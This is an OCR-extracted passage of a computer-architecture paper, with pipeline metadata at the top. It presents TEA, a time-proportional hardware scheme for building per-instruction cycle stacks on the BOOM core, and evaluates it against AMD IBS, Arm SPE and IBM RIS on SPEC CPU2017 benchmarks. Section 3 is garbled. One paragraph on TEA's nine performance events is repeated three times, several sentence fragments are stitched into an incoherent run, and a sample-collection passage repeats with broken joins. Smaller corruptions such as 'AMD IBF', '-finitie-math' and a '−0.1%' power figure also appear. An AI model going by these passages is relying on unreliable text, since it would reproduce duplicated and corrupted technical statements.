"avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 36295, 0.02178]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 36295, 0.52059]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 36295, 0.793]], "google_gemma-3-12b-it_contains_pii": [[0, 0, null], [0, 0, null], [0, 1797, false], [1797, 2080, null], [2080, 3088, null], [3088, 4310, null], [4310, 5659, null], [5659, 7253, null], [7253, 9139, null], [9139, 10856, null], [10856, 12910, null], [12910, 13209, null], [13209, 13777, null], [13777, 15699, null], [15699, 19032, null], [19032, 21471, null], [21471, 23936, null], [23936, 25516, null], [25516, 26992, null], [26992, 27528, null], [27528, 28859, null], [28859, 30369, null], [30369, 31945, null], [31945, 33447, null], [33447, 34253, null], [34253, 34261, null], [34261, 36295, null], [36295, 36295, null]], "google_gemma-3-12b-it_is_public_document": [[0, 0, null], [0, 0, null], [0, 1797, true], [1797, 2080, null], [2080, 3088, null], [3088, 4310, null], [4310, 5659, null], [5659, 7253, null], [7253, 9139, null], [9139, 10856, null], [10856, 12910, null], [12910, 13209, null], [13209, 13777, null], [13777, 15699, null], [15699, 19032, null], [19032, 21471, null], [21471, 23936, null], [23936, 25516, null], [25516, 26992, null], [26992, 27528, null], [27528, 28859, null], [28859, 30369, null], [30369, 31945, null], [31945, 33447, null], [33447, 34253, null], [34253, 34261, null], [34261, 36295, null], [36295, 36295, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 36295, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 36295, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 36295, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 36295, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 36295, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 36295, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 36295, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 36295, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 36295, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 36295, null]], "pdf_page_numbers": [[0, 0, 1], [0, 0, 2], [0, 1797, 3], [1797, 2080, 4], [2080, 3088, 5], [3088, 4310, 6], [4310, 5659, 7], [5659, 7253, 8], [7253, 9139, 9], [9139, 10856, 10], [10856, 12910, 11], [12910, 13209, 12], [13209, 13777, 13], [13777, 15699, 14], [15699, 19032, 15], [19032, 21471, 16], [21471, 23936, 17], [23936, 25516, 18], [25516, 26992, 19], [26992, 27528, 20], [27528, 28859, 21], [28859, 30369, 22], [30369, 31945, 23], [31945, 33447, 24], [33447, 34253, 25], [34253, 34261, 26], [34261, 36295, 27], [36295, 36295, 28]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 36295, 0.22288]]}
olmocr_science_pdfs
2024-11-25
2024-11-25
b26fd5a0d1468fcf6cedb596d2b760dbf54bcb2c
ABSTRACT As computer architectures become increasingly complex and heterogeneous, it becomes progressively more difficult to write applications that make good use of hardware resources. Performance analysis tools are hence critically important as they are the only way through which developers can gain insight into the reasons why their application performs as it does. State-of-the-art performance analysis tools capture a plethora of performance events and are practically non-intrusive, but performance optimization is still extremely challenging. We believe that the fundamental reason is that current state-of-the-art tools in general cannot explain why executing the application’s performance-critical instructions take time. We hence propose Time-Proportional Event Analysis (TEA) which explains why the architecture spends time executing the application’s performance-critical instructions by creating time-proportional Per-Instruction Cycle Stacks (PICS). PICS unify performance profiling and performance event analysis, and thereby (i) report the contribution of each static instruction to overall execution time, and (ii) break down per-instruction execution time across the combinations of performance events that a static instruction was subjected to across its dynamic executions. Creating time-proportional PICS requires tracking performance events across all in-flight instructions, but TEA only increases per-core power consumption by ∼3.2 mW (∼0.1%) because we carefully select events to balance insight and overhead. TEA leverages statistical sampling to keep performance overhead at 1.1% on average while incurring an average error of 2.1% compared to a non-sampling golden reference; a significant improvement upon the 55.6%, 55.5%, and 56.0% average error for AMD IBS, Arm SPE, and IBM RIS. We demonstrate that TEA’s accuracy matters by using TEA to identify performance issues in the SPEC CPU2017 benchmarks lbm and nab that, once addressed, yield speedups of 1.28× and 2.45×, respectively. CCS CONCEPTS • General and reference → Performance. Measurement; • Computer systems organization → Architectures. KEYWORDS Performance analysis, time proportionality, performance events 1 INTRODUCTION The end of Dennard scaling and the imminent end of Moore’s law means that we can no longer expect general-purpose CPU architectures to deliver performance scaling [16]. Industry has responded by exploiting specialization and integrating heterogeneous compute engines including GPU and domain-specific accelerators alongside conventional CPU cores [28]. Counter-intuitively perhaps, sequential CPU code becomes relatively more performance-critical in heterogeneous systems due to Amdahl’s Law, i.e., acceleratable code regions take much less time to execute while non-acceleratable code still takes the same amount of time [6]. Performance tuning of sequential CPU code to better exploit the underlying hardware is hence becoming increasingly critical. Unfortunately, this is a time-consuming and tedious endeavor because of how state-of-the-art CPU architectures optimize performance through various forms and degrees of instruction-level parallelism, speculation, caching, prefetching, and latency hiding. Performance tuning is practically impossible without advanced performance analysis tools, such as Intel VTune [31] and AMD µProf [2], whose purpose it is to help developers answer two fundamental questions: Q1 Which instructions does the application spend most time executing? Or in other words, which are the performance-critical instructions? Q2 Why are instructions performance-critical? What are the microarchitectural events (cache misses, branch mispredictions, etc.) that render these instructions performance-critical? The first question (Q1) is typically addressed with a performance profiler. The state-of-the-art performance profiler TIP [22] is time-proportional, in contrast to other performance profilers [3, 4, 18, 19, 21, 30, 38], which means that the importance of an instruction in its final performance profile is proportional to the instruction’s relative contribution to overall execution time. Time proportionality is achieved by analyzing an instruction’s impact on performance at commit time because that is where an instruction’s latency is exposed. More specifically, an instruction’s key contribution to 1While attributing time to functions can be sufficient to address simple performance issues, addressing challenging performance issues requires instruction-level analysis [22]. Note that instruction-level analysis can also always be aggregated for presentation at coarser granularity whereas the opposite is not true. execution time is the fraction of time it prevents the core from committing instructions [22]. Time-proportional performance profiling is practical because it relies on statistical sampling, i.e., the profiler infrequently interrupts the CPU to retrieve the address(es) of the instruction(s) that the CPU is exposing the latency of in the cycle the sample is taken. While performance profiling is a necessary first step, it is not sufficient because it does not answer the second question (Q2). More specifically, performance profilers such as TIP [22] do not explain why the architecture spends time on performance-critical instructions because they do not break down the time contribution of an instruction’s execution across microarchitectural performance events. State-of-the-art approaches that attempt to address Q2 fall short because they account for performance events in a non-time-proportional manner, hence providing a skewed view on performance. Existing performance analysis approaches can be classified as instruction-driven versus event-driven. Instruction-driven approaches such as AMD IBS [19], Arm SPE [4], and IBM RIS [29] tag instructions at either the fetch or dispatch stage in the pipeline and then record the performance events that a tagged individual instruction is subjected to. Tagging instructions at the fetch or dispatch stages biases the instruction profile towards instructions that spend a lot of time in the fetch and dispatch stages, and not necessarily at the commit stage — hence lacking time-proportionality. Event-driven approaches [3, 20, 30, 54] on the other hand rely on counting performance events (e.g., cache misses, branch mispredicts, etc.). Event counts are then either attributed to instructions or used to generate coarse-grained performance information, such as application-level cycles per instruction stacks. Event-driven approaches also provide a skewed view on performance because the performance event counts they provide do not necessarily correlate with the impact these events have on performance because of latency hiding effects (as we will quantify in Section 5). Our key insight is that both Q1 and Q2 can be answered by creating time-proportional Per-Instruction Cycle Stacks (PICS) in which the time the architecture spends executing each instruction is broken down into the (combinations of) performance events it encountered during program execution. Since our PICS are time-proportional by design, they have the desirable properties that (i) the height of the cycle stack is proportional to a static instruction’s impact on overall execution time — addressing Q1 — and (ii) the size of each component in the cycle stack is proportional to the impact on overall performance that this (combination of) performance event(s) incurs — addressing Q2. While time-proportional TIP [22] captures each static instruction’s impact on overall execution time (thereby answering Q1), it cannot answer Q2 and create PICS because this requires breaking down each static instruction’s performance impact across the events the instruction was subjected to during its dynamic executions. A key challenge for creating PICS is that contemporary processors record many performance events, e.g., the Performance Monitoring Unit (PMU) of the recent Intel Alder Lake can report 297 distinct performance events [32]. Building time-proportional PICS however requires tracking events across all in-flight instructions — and limiting the number of tracked events is hence key to keeping overheads in check. We address this issue by returning to first principles, i.e., PICS must break down the execution time impact of an instruction according to the architectural behavior that caused the instruction’s latency. We must hence focus on the commit stage and exploit that it can be in three non-compute states: (i) Commit stalled because an instruction reached the head of the Re-Order Buffer (ROB) before it had fully executed; (ii) it drained because of a front-end stall; or (iii) it flushed due to, for instance, a mispredicted branch. The task at hand is hence to map these states back to the performance events that caused them. Fortunately, performance events form hierarchies, and we exploit these to select events that make PICS easy to interpret while keeping overheads low. Surprisingly perhaps, we find that capturing only nine events is sufficient to ensure that 99% of the stall cycles incurred by instructions that are not subjected to any event is less than 5.8 clock cycles. We hence propose Time-proportional Event Analysis (TEA), which enables creating PICS by adding hardware support for tracking the performance events that each instruction encounters during its execution. More specifically, TEA allocates a Performance Signature Vector (PSV) for each dynamically executed instruction which includes one bit for each supported performance event. During application execution, TEA uses a cycle counter to periodically collect PSV(s) at a typical 4 kHz sampling frequency. The PMU then retrieves the instruction pointer(s) and PSV(s) of the instruction(s) that the architecture is exposing the latency of at the time of sampling following the time-proportional attribution policies described in prior work [22]. When the sample is ready, the PMU interrupts the core, and the interrupt handler reads the instruction pointer(s) and PSV(s) and stores them in a memory buffer. When the application completes, the PSVs are post-processed to create PICS for each static instruction by aggregating the PSVs captured for each of its dynamic execution samples. We implement TEA within the Berkeley Out-of-Order Machine (BOOM) core [58], and our implementation tracks nine performance events across all in-flight instructions. TEA incurs only minor overhead, i.e., requires 249 bytes of storage and increases per-core power consumption by only ∼3.2 mW (∼0.1%). We demonstrate the accuracy of TEA by comparing its PICS to those generated by AMD IBS [19], Arm SPE [4], and IBM RIS [29]3, which are the state-of-the-art instruction-driven performance analysis approaches, and an (unimplementable) golden reference that retrieves the PSVs for all dynamic instructions in all clock cycles. TEA is very accurate with an average error of 2.1% relative to the golden reference which is a significant improvement over the 55.6%, 55.5%, and 56.0% average errors of IBS, SPE, and RIS, respectively. Since TEA relies on statistical sampling, the performance overhead of enabling it is only 1.1% on average. To demonstrate that TEA is useful in practice, we used it to analyze the SPEC CPU2017 [46] benchmarks lbm and nab. For both benchmarks, the PICS provided by TEA explains the performance 3The key benefit of the front-end-tagging strategy used by IBS, SPE, and RIS is that it only requires tracking performance events for a single instruction which yields a single byte of storage overhead (compared to 249 bytes for TEA). Unfortunately, this lower overhead comes at the cost of poor accuracy. problems whereas state-of-the-art approaches do not. The performance problem of \textit{lb}m is due to a non-hidden load instruction, and we address this issue by inserting software prefetch instructions. TEA enabled us to choose a prefetch distance that is large enough to hide most of the load latency while not being too large as this creates contention for store resources in the core and L1 cache, yielding an overall performance improvement of 1.28×. For \textit{nab}, the high accuracy of TEA enabled us to deduce that a floating-point square root instruction was performance-critical because an earlier instruction flushed the pipeline and hence caused it to be issued too late for its execution latency to be hidden. We addressed this issue by relaxing IEEE 754 compliance with the \texttt{-finitie-math} and \texttt{-fast-math} compiler options which yielded speedups of 1.96× and 2.45×, respectively. In summary, we make the following major contributions: - We observe that time-proportional \textit{Per-Instruction Cycle Stacks (PICS)} provide all the necessary information to explain both which instructions are performance-critical (i.e., answering Q1) and \textit{why} these instructions are performance-critical (i.e., answering Q2) — thereby helping developers understand tedious performance problems. - We propose \textit{Time-proportional Event Analysis (TEA)} which captures the information necessary to create PICS by tracking key performance events for all in-flight instructions with \textit{Performance Signature Vectors (PSVs)}. - We implement TEA at the RTL-level within the out-of-order BOOM core [58] and demonstrate that it achieves a 2.1% average error relative to the golden reference; a significant improvement upon the 55.6%, 55.5%, and 56.0% error of IBS, SPE, and RIS, respectively. TEA has low overhead (i.e., storage overhead of 249 bytes, power consumption overhead of −0.1%, and performance overhead of 1.1%). - We used TEA to analyze the \textit{lb}m and \textit{nab} benchmarks from SPEC CPU2017. TEA identifies two performance problems that are difficult to identify with state-of-the-art approaches, and addressing them yields speedups of 1.28× and 2.45×, respectively. Figure 1: Example explaining how TEA creates PICS. TEA explains how performance events cause performance loss. 2 BACKGROUND AND MOTIVATION Time-proportional performance profiling [22] is based on the observation that determining the contribution of each instruction to overall execution time requires determining the instruction(s) that the core is currently exposing the latency of. (We assume a baseline that already supports TIP [22], the state-of-the-art time-proportional performance profiler.) Time-proportional profiling needs to focus on the commit stage of the pipeline because this is where the non-hidden instruction latency is exposed. Focusing on commit is a necessary but not a sufficient condition for time-proportionality because, depending on the state of the CPU, it will expose the latency of different instruction(s). More specifically, the processor will be in one of four commit states in any given cycle: - \textbf{Compute}: The processor is committing one or more instructions. Time-proportionality hence evenly distributes time across the committing instructions (i.e., 1/n cycles to each instruction when n instructions commit in parallel). - \textbf{Stalled}: An instruction \(\mathcal{I}\) is stalled at the head of the ROB instance due to an instruction cache miss. Time is hence attributed to \(\mathcal{I}\) which is the next-committing instruction.\(\mathcal{I}\). - \textbf{Drained}: An instruction \(\mathcal{I}\) is drained from the ROB because it has not yet been fully executed. Time is hence attributed to \(\mathcal{I}\) which is the next-committing instruction.\(\mathcal{I}\). - \textbf{Flushed}: An instruction \(\mathcal{I}\) caused the ROB to flush, for instance due to a mispredicted branch, and the ROB is empty. Time is hence attributed to \(\mathcal{I}\) but unlike in the stall and drain states it has already committed, i.e., it is the last-committed instruction. Explaining why it takes time to execute a particular instruction hence requires mapping the non-compute commit states Drained, Stalled, and Flushed to the performance events that caused them to occur. (Execution latency is fully hidden in the Compute state, and there is hence no additional execution time to explain in this state.) TEA example. Figure 1 illustrates how TEA works in practice when an application executes the short loop in Figure 1b on an out-of-order processor that supports three performance events (i.e., instruction cache miss, data cache miss, and branch mispredict). TEA relies on statistical sampling and for the purpose of this example we assume that it samples once every 1,000 cycles; the samples that TEA collects are shown in Figure 1a. (In our evaluation, TEA samples at 4 kHz, i.e., once every 800,000 cycles at 3.2 GHz, which is the default for Linux \textit{perf} [38].) In Sample 1, the ROB has drained due to an instruction cache miss when fetching \texttt{I1} and TIP [22] hence samples \texttt{I1}. TEA additionally tracks the performance events that each dynamic instruction was subjected to by attaching a \textit{Performance Signature Vector (PSV)} to each in-flight instruction. The PSV consists of one bit for each supported performance event and hence consists of three bits in this example. Since \texttt{I1} was subjected to an instruction cache miss, its instruction cache miss event bit is set in its PSV, see \textcircled{1}. A TEA sample hence consists of a PSV for all sampled instructions in addition to the information returned by TIP (i.e., instruction address(es) and timestamp). In Sample 2, the ROB has again emptied, but now the reason is that branch instruction \texttt{I4} was mispredicted. \texttt{I4} hence committed... In the cycle we focus on, I1 is the oldest instruction and was subjected to a performance event, see ①. In Sample 3, I1 is again the cause of performance loss, but while all younger instructions were squashed, this time it is stalled on a cache miss. The processor is therefore in the Stalled state, and TEA explains why the data cache miss event bit is set in the PSV. In Samples 4 and 5, the working set of I1 has been loaded into the L1 cache and the branch predictor has learned how to predict I4 correctly. The 4-wide core is thus able to commit I1, I2, I3, and I4 in parallel and is in the Compute state. All PSV entries are 0 because none of the instructions were subjected to any performance event, see ③. The application terminates without additional samples being collected, and TEA then uses the captured samples to create PICS for I1, I2, I3, and I4 (see Figure 1c). Each sample is mapped to static instructions using the address(es) of the instruction(s) and then categorized according to the PSV value — which identifies the (combination of) performance event(s) that caused the processor to expose the latency of this instruction in this sample. From Samples 1 and 3, TEA attributes 1,000 cycles to I1 due to the instruction cache miss event and data cache miss event, respectively, see ④. Similarly, TEA attributes 1,000 cycles to I4 for the mispredicted branch in Sample 2. The remaining cycles are distributed evenly across I1, I2, I3, and I4 since they commit in parallel in Samples 4 and 5. This category is labeled ‘Base’ since none of the instructions were subjected to performance events. If an instruction is subjected to multiple events, multiple bits are set in the PSV, and we refer to events that impact the same instruction as combined events. Combined events are often serviced sequentially, e.g., an instruction cache miss must resolve for a load to be executed and subjected to a data cache miss. The stall cycles caused by this load are hence caused by both events and it is challenging to tease apart the stall impact of each event. TEA hence reports combined events as separate categories. Out of all dynamic instruction executions that encounter at least one event, 30.0% are subjected to combined events (see Section 5). Combined events are hence not too common, but can help to explain challenging issues. Capturing PSVs. Creating PICS requires recording the performance events each instruction is subjected to during its execution, i.e., creating a PSV for each instruction packet. An instruction packet is the instruction (or μop) itself and its associated metadata (e.g., the instruction address) which the processor updates forwards as the instruction flows through the pipeline. Figure 2a illustrates how TEA captures PSVs by showing the execution state of an out-of-order core and PSVs for each instruction; this architecture supports six performance events and hence has a six-bit PSV format. (We will explain how we implement TEA in detail in Section 3). In the front-end, the PSVs need to capture and pass along the events that can occur in this and previous pipeline stages which are instruction cache and TLB misses in this example, see ⑥. At dispatch, TEA initializes the six-bit PSV associated with each ROB entry by setting the front-end bits of the PSV to their respective values and all remaining PSV-bits to zero. At ① instruction I5, which was subjected to an instruction cache miss, hence has its two most significant bits set to 10 as these are the front-end PSV-bits (see ⑥). In the cycle we focus on, I1 is the oldest instruction and stalled due to an L1 cache miss and a TLB miss and its two least significant PSV-bits are hence both 1, see ④. Similarly, I2 is also a data cache miss while the PSVs for I3 and I4 are all zeros because they so far have not been subjected to any performance events. Since TEA is time-proportional, its hardware sampler selects I1 and its PSV before interrupting the processor such that the software sampling function can retrieve the sample and store it in a memory buffer. Instruction-driven performance analysis. AMD IBF [19], Arm SPE [4], and IBM RIS [29] fall short because they tag instructions at dispatch or fetch and are hence not time-proportional. Figure 2b illustrates the operation of dispatch-tagging with the same core state as we used to explain TEA in Figure 2a. Dispatch-tagging marks the instruction that is dispatched in the cycle the sample is taken, i.e., I5 (see ⑥). Fetch-tagging works in the same way except that it tags at fetch rather than at dispatch and would hence tag I8 in this example. The key benefit of tagging instructions in the front-end is that the scheme only needs to track events for the tagged instruction, i.e., it needs one PSV to record the events that the tagged instruction is subjected to, see ⑦. Tagging at dispatch or fetch does however incur significant error because it is not time-proportional. More specifically, sampling I5 or I8 is not time-proportional because I5 is stalled at the head of the ROB at the time the sample is taken, i.e., the processor is exposing the latency of I5 in this cycle. (Recall that TEA sampled I1 in Figure 2a.) This situation is common because performance-critical instructions tend to stall at commit which in turn stalls the front-end — resulting in the PSVs of the instructions that are dispatched or fetched during stalls being overrepresented in the PICS. Tagging at dispatch or fetch also captures events that may not impact performance. For example, I1 is stalled on a combined data cache and TLB miss event, but dispatch-tagging captures I5’s instruction cache miss (which is hidden under I1’s events). 3 TIME-PROPORTIONAL EVENT ANALYSIS We now explain the details of our TEA implementation. While we focus on the open-source BOOM core [58] in this section, the We can improve. In this Dispatch inserts. When the fetch packet is expanded into individual instructions we can hence exploit the event hierarchy to balance how easy it will remain the same. Table 1 lists the nine performance events that TEA captures in our BOOM implementation. We name the performance events on the form LLC misses and not L1 misses, we can no longer identify LLC hits. We can improve interpretability by moving to a 2-bit PSV. In this case, the most favorable option is to include the L1 data cache and TLB miss events as they cover all possible levels. TEA exploits event hierarchies to balance interpretability and overhead. Retaining interpretability means that TEA should assign events to instructions that caused long stalls, i.e., stalls that cannot be explained by instruction execution latencies and dependencies, because these determine the expected stall time in the absence of miss events. We evaluate TEA from this perspective by capturing load instructions (ST-LLC). Capturing LLC misses improves interpretability for memory-sensitive applications. TEA exploits event hierarchies to balance interpretability and overhead. TEA’s performance events. Table 1 lists the nine performance events that TEA captures in our BOOM implementation. We name the performance events on the form X-Y where X is the commit state and Y is the event, e.g., an L1 data cache miss is labeled ST-L1 since it explains the Stalled commit state. To explain the Drained state, TEA captures that an instruction missed in the L1 instruction cache (DR-L1), missed in the L1 instruction TLB (DR-TLB), and that the ROB drains due to a full store queue (DR-SQ). The DR-SQ event captures the case where the ROB drains because a store cannot dispatch because the Load/Store Queue (LSQ) is full of completed but not yet retired stores; this improves interpretability when the application is sensitive to store bandwidth. For the Flushed state, TEA captures that an instruction is a mispredicted branch (FL-MB), caused an exception (FL-EX), and caused a memory ordering violation (FL-MO). A memory ordering violation occurs when a load executes before an older store to the same address and hence has read stale data. It is addressed by re-executing the load and squashing all younger in-flight instructions (which is time-consuming). To explain the Stalled state, TEA captures L1 data cache misses (ST-L1), L1 data TLB misses (ST-TLB), and LLC misses caused by load instructions (ST-LLC). Capturing LLC misses improves interpretability for memory-sensitive applications. TEA’s performance events. Table 1 lists the nine performance events that TEA captures in our BOOM implementation. We name the performance events on the form X-Y where X is the commit state and Y is the event, e.g., an L1 data cache miss is labeled ST-L1 since it explains the Stalled commit state. To explain the Drained state, TEA captures that an instruction missed in the L1 instruction cache (DR-L1), missed in the L1 instruction TLB (DR-TLB), and that the ROB drains due to a full store queue (DR-SQ). The DR-SQ event captures the case where the ROB drains because a store cannot dispatch because the Load/Store Queue (LSQ) is full of completed but not yet retired stores; this improves interpretability when the application is sensitive to store bandwidth. For the Flushed state, TEA captures that an instruction is a mispredicted branch (FL-MB), caused an exception (FL-EX), and caused a memory ordering violation (FL-MO). A memory ordering violation occurs when a load executes before an older store to the same address and hence has read stale data. It is addressed by re-executing the load and squashing all younger in-flight instructions (which is time-consuming). To explain the Stalled state, TEA captures L1 data cache misses (ST-L1), L1 data TLB misses (ST-TLB), and LLC misses caused by load instructions (ST-LLC). Capturing LLC misses improves interpretability for memory-sensitive applications. TEA’s performance events. Table 1 lists the nine performance events that TEA captures in our BOOM implementation. We name the performance events on the form X-Y where X is the commit state and Y is the event, e.g., an L1 data cache miss is labeled ST-L1 since it explains the Stalled commit state. To explain the Drained state, TEA captures that an instruction missed in the L1 instruction cache (DR-L1), missed in the L1 instruction TLB (DR-TLB), and that the ROB drains due to a full store queue (DR-SQ). The DR-SQ event captures the case where the ROB drains because a store cannot dispatch because the Load/Store Queue (LSQ) is full of completed but not yet retired stores; this improves interpretability when the application is sensitive to store bandwidth. For the Flushed state, TEA captures that an instruction is a mispredicted branch (FL-MB), caused an exception (FL-EX), and caused a memory ordering violation (FL-MO). A memory ordering violation occurs when a load executes before an older store to the same address and hence has read stale data. It is addressed by re-executing the load and squashing all younger in-flight instructions (which is time-consuming). To explain the Stalled state, TEA captures L1 data cache misses (ST-L1), L1 data TLB misses (ST-TLB), and LLC misses caused by load instructions (ST-LLC). Capturing LLC misses improves interpretability for memory-sensitive applications. Table 1: The performance events of TEA, IBS, SPE, and RIS. <table> <thead> <tr> <th>Event</th> <th>Description</th> <th>TEA</th> <th>IBS</th> <th>SPE</th> <th>RIS</th> </tr> </thead> <tbody> <tr> <td>DR-L1</td> <td>L1 instruction cache miss</td> <td>✓</td> <td>✓</td> <td>✗</td> <td>✓</td> </tr> <tr> <td>DR-TLB</td> <td>L1 instruction TLB miss</td> <td>✓</td> <td>✓</td> <td>✗</td> <td>✓</td> </tr> <tr> <td>DR-SQ</td> <td>Store instruction stalled at dispatch</td> <td>✓</td> <td>✗</td> <td>✓</td> <td>✓</td> </tr> <tr> <td>FL-MB</td> <td>Mispredicted branch</td> <td>✓</td> <td>✓</td> <td>✗</td> <td>✓</td> </tr> <tr> <td>FL-EX</td> <td>Instruction caused exception</td> <td>✓</td> <td>✓</td> <td>✗</td> <td>✓</td> </tr> <tr> <td>FL-MO</td> <td>Memory ordering violation</td> <td>✓</td> <td>✓</td> <td>✗</td> <td>✓</td> </tr> <tr> <td>ST-L1</td> <td>L1 data cache miss</td> <td>✓</td> <td>✓</td> <td>✓</td> <td>✓</td> </tr> <tr> <td>ST-TLB</td> <td>L1 data TLB miss</td> <td>✓</td> <td>✓</td> <td>✓</td> <td>✓</td> </tr> <tr> <td>ST-LLC</td> <td>LLC miss caused by a load instruction</td> <td>✓</td> <td>✓</td> <td>✓</td> <td>✓</td> </tr> </tbody> </table> Figure 3: Performance event hierarchy for the Stalled (ST) commit state. The FL-MB, FL-EX, and FL-MO events are already detected by ST-L1 and ST-LLC events in contrast become available upon a cache response and hence can be communicated immediately (through Writeback). The complete 9-bit PSV of each µop is stored in the µop’s ROB-entry. The FL-MB, FL-EX, and FL-MO events are already detected by the ROB because they require flushing the pipeline, and the ROB can hence record them in the PSV. TEA is connected to the head of the ROB with the time-proportional sample selection logic inherited from TIP [22]. Once a cycle counter event is emitted by the PMU (see Figure 4), the Sample Selection unit identifies the commit state (i.e., Computing, Stalled, Flushed, or Drained) and selects the appropriate instruction(s) given the state. TEA delays returning the sample in the Stalled and Drained state until the next µop commits to ensure that the µop’s PSV is updated. A sample contains a timestamp, flags (i.e., commit state and valid bits) as well as the instruction address(es) and PSV(s). TEA is hence indifferent to tracking µops or dynamic instructions since it in both cases maps them to static instructions when sampling. Finally, the sample is written to TEA’s Control and Status Registers (CSRs) and an interrupt is issued. Sample collection and PICS generation. The interrupt causes the sampling software to retrieve TEA’s sample as well as inspect other CSRs to determine the logical core identifier and process and thread identifiers before writing all of this information to a buffer in memory (which is flushed to a file when necessary); this is the typical operation of Linux perf [38]. The logical core identifier maps to a hardware thread under Simultaneous Multi-Threading (SMT) and a physical core otherwise; we require one TEA unit per physical core. While we focus on single-threaded applications in this work, TEA is hence equally applicable to multi-threaded applications since we capture sufficient information to create PICS for each thread. The ability of profiling tools to map samples to applications since we capture sufficient information to create PICS for each thread identifiers before writing all of this information to a buffer in memory (which is flushed to a file when necessary); this is the typical operation of Linux perf [38]. The logical core identifier maps to a hardware thread under Simultaneous Multi-Threading (SMT) and a physical core otherwise; we require one TEA unit per physical core. While we focus on single-threaded applications in this work, TEA is hence equally applicable to multi-threaded applications since we capture sufficient information to create PICS for each thread. The ability of profiling tools to map samples to applications since we capture sufficient information to create PICS for each thread. Figure 4: TEA microarchitecture. analyze application performance by visualizing PICS at various granularities (e.g., static instructions and functions). Overheads. We assume a baseline that implements TIP [22], and TIP incurs a storage overhead of 57 B compared to an unmodified BOOM core. TEA additionally needs to track PSVs across all in-flight instructions and hence requires adding two bits per entry in the 48-entry fetch buffer to store the DR-L1 and DR-TLB events (12 B) and a 9-bit PSV field to each ROB entry (216 B for our 192-entry ROB). TEA also needs three 2-bit registers in fetch to track DR-L1 and DR-TLB for all fetch packets and 2 bits for each entry in decode and dispatch to track these events through the rest of the front-end. TEA needs a one-bit register in dispatch to track the DR-SQ event and one bit in each LSU entry to track ST-TLB until the load completes. TEA also needs a register for the PSV of the last-committed instruction to correctly handle the Flushed state (2 B). The overall storage overhead of TEA is hence 249 B per core (and 306 B per core for TEA and TIP). Since IBS, SPE, and RIS tag instructions in the front-end, they know which instruction to capture PSVs from and hence only require storing 6, 5, and 7 bits, respectively, i.e., one byte. They do however capture other information such as branch targets, memory addresses, and various latencies when implemented in commercial cores. The minimum storage requirements of IBS, SPE, and RIS are hence negligible, but this benefit is due to tagging instructions in the front-end which is also the root cause of their large errors. To better understand the power overhead of TEA (and TIP), we synthesized the ROB and fetch buffer modules of the BOOM core in a commercially available 28 nm technology with and without TEA using Cadence Genus [10] and estimated its power consumption with Cadence Joules [11]. We focus on the ROB and fetch buffer because they account for 91.7% of TEA’s storage overhead. (Recall that the events TEA captures are already identified in the microarchitecture.) Overall, TEA increases the power consumption of these units by 4.6%. In absolute terms, supporting TEA in these units increases power consumption by 3.2 mW which is negligible. For example, RAPL [17] reports a core power consumption of 32.7 W on a recent laptop with an Intel i7-1260P chip running stress-ng on all 8 physical cores which yield 4.7 W per core. Implementing TEA on this system would hence increase per-core power consumption by ~0.1%. If this power overhead is a concern, the PSVs can be clock or power-gated and enabled ahead of time such that the PSVs for all in-flight instructions are updated when sampling. TEA’s performance overhead is the same as TIP because we can pack the PSVs into the CSR that TIP uses to communicate sample metadata to software. A CSR must be 64 bit wide to match the width of the other registers in the architecture, but TIP only uses 10 bits for metadata. Communicating four PSVs requires 36 bits which result in TEA using 46 out of 64 CSR bits. TEA hence retains the 88 B sample size from TIP which results in a performance overhead of 1.1% [22]. TEA’s logic is not on any critical path of the BOOM core, and TEA hence does not impact cycle time. 4 EXPERIMENTAL SETUP Simulator. We use FireSim [33], a cycle-accurate FPGA-accelerated full-system simulator, to evaluate the different performance profiling strategies. The simulated model is the BOOM 4-way superscalar out-of-order core [58], see Table 2 for its configuration, which runs a common buildroot 5.7.0 Linux kernel. The BOOM core is synthesized to and runs on Xilinx U250 FPGAs in N TNU’s Idun cluster [45]. We account for the frequency difference between the FPGA-realization of the BOOM core and the FPGA’s memory system using FireSim’s token mechanism. We use TraceDoctor [23] to capture cycle-by-cycle traces that contain the instruction address and the valid, commit, exception, and flush flags as well as the PSV of the head ROB-entry in each ROB bank; the trace includes the ROB’s head and tail pointers which we need to model dispatch-tagging. We configure a highly parallel framework of TraceDoctor workers on the host to enable on-the-fly processing while minimizing simulation slowdown. The performance analysis approaches are hence modeled on the host CPUs that operate in parallel with the FPGA by processing the traces. This allows us to simulate and evaluate multiple configurations out-of-band in a single simulation run; we run up to 15 configurations on 12 CPUs per FPGA simulation run. We evaluate multiple configurations with a single run because (i) it enables fairly comparing analysis approaches as they sample in the exact same cycle, and (ii) it reduces evaluation time. **Benchmarks.** We run a broad set of SPEC CPU2017 [46] benchmarks that are compatible with our setup. We simulate the benchmarks to completion using the reference inputs. We compile all benchmarks using GCC 10.1 with the -O3 -g compilation flags and static linking. We enable the performance analyzers when the system boots up until the system shuts down after the benchmark has terminated. We only retain the samples that hit user-level code because (i) the time our benchmarks spend in OS code (e.g., syscalls) is limited (1.7% of total time), and (ii) we do not want to include system boot and shutdown time in the profiles. **Golden reference.** The baseline we compare against computes PICS for every instruction, i.e., we know for each instruction how it contributes to the total execution time and where it spends its time — we consider this to be our golden reference. This is clearly impractical to implement in a real system because it would require communicating the PSVs to software for every dynamically executed instruction which would incur too high performance overhead. More specifically, the golden reference requires communicating and parsing 2.7 petabytes of performance data in total at a rate of 116 GB/s. This golden reference is nevertheless extremely useful because it represents the ideal performance profile to compare against. **Error metric.** Quantifying the accuracy of the cycle 